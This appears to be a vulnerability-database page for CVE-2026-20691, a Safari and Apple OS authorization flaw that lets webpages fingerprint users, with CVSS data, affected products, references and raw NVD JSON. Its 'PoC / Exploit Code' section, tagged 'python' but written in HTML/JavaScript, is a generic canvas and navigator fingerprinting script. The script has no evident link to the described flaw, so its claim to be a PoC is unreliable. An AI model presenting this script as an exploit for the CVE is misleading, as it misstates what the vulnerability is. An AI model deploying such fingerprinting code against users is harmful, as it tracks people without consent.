CVE-2026-20691

Description

An authorization issue was addressed with improved state management. This issue is fixed in Safari 26.4, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4, watchOS 26.4. A maliciously crafted webpage may be able to fingerprint the user.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.4

iOS < 26.4

iPadOS < 26.4

macOS Tahoe < 26.4

visionOS < 26.4

watchOS < 26.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for User Fingerprinting -->
<!DOCTYPE html>
<html>
<head>
    <title>Fingerprint PoC</title>
</head>
<body>
    <h1>CVE-2026-20691 PoC</h1>
    <p>Check console for fingerprint data.</p>
    <script>
        // Simulate fingerprinting by checking screen and canvas
        const fingerprint = {
            screen: `${screen.width}x${screen.height}`,
            language: navigator.language,
            platform: navigator.platform,
            userAgent: navigator.userAgent
        };

        // Canvas fingerprinting (common technique)
        const canvas = document.createElement('canvas');
        const ctx = canvas.getContext('2d');
        ctx.textBaseline = "top";
        ctx.font = "14px 'Arial'";
        ctx.textBaseline = "alphabetic";
        ctx.fillStyle = "#f60";
        ctx.fillRect(125,1,62,20);
        ctx.fillStyle = "#069";
        ctx.fillText("Hello, world!", 2, 15);
        ctx.fillStyle = "rgba(102, 204, 0, 0.7)";
        ctx.fillText("Hello, world!", 4, 17);
        fingerprint.canvasHash = canvas.toDataURL().substring(0, 50) + "...";

        console.log("Collected Fingerprint:", fingerprint);
        alert("Fingerprint collected. See console.");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20691
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20691
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20691/
[4] VulDB https://vuldb.com/cve/CVE-2026-20691
[5] https://support.apple.com/en-us/126792
[6] https://support.apple.com/en-us/126794
[7] https://support.apple.com/en-us/126798
[8] https://support.apple.com/en-us/126799
[9] https://support.apple.com/en-us/126800

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20691", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:05.910", "lastModified": "2026-03-25T20:52:59.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization issue was addressed with improved state management. This issue is fixed in Safari 26.4, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4, watchOS 26.4. A maliciously crafted webpage may be able to fingerprint the user."}, {"lang": "es", "value": "Se abordó un problema de autorización con una gestión de estado mejorada. Este problema está solucionado en Safari 26.4, iOS 26.4 y iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4, watchOS 26.4. Una página web creada con fines maliciosos podría ser capaz de identificar al usuario mediante huella digital."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "993386B4-0570-414F-B4A6-3E65F5704903"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "F813DB63-2B55-4E0B-9073-5465C65F69D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "01612D13-BE5B-43F8-B53E-5BF57F2A5B0C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "113B9705-BFF0-4357-B1AB-F57052F32361"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "F6EAF0A5-7CFF-4EF6-9BC7-DB25B213F753"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126798", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126799", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126800", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}